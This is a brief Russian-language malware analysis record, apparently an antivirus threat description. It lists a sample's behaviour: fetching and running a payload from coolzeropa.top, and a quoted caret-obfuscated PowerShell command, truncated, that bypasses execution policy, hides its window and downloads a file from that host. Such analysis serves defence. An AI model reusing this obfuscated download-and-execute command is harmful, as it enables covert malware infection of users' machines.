Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://coolzeropa.top/admin.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "POwe^r^sH^E^L^L.^EX^E -^e^X^ECuTIO^nP^oli^CY^ b^y^PASs^ -N^O^P^rOf^ile^ ^-WiND^O^w^Sty^LE^ ^hI^Dd^EN^ ^(N^e^W-oBJ^EcT^ SYsT^em.^Ne^T.w^eB^c^lie^Nt^).^do^WNLo^aDf^Ile('http://coolze...
Сетевая активность
UDP
- DNS ASK co###eropa.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "POwe^r^sH^E^L^L.^EX^E -^e^X^ECuTIO^nP^oli^CY^ b^y^PASs^ -N^O^P^rOf^ile^ ^-WiND^O^w^Sty^LE^ ^hI^Dd^EN^ ^(N^e^W-oBJ^EcT^ SYsT^em.^Ne^T.w^eB^c^lie^Nt^).^do^WNLo^aDf^Ile('http://coolze...' (со скрытым окном)
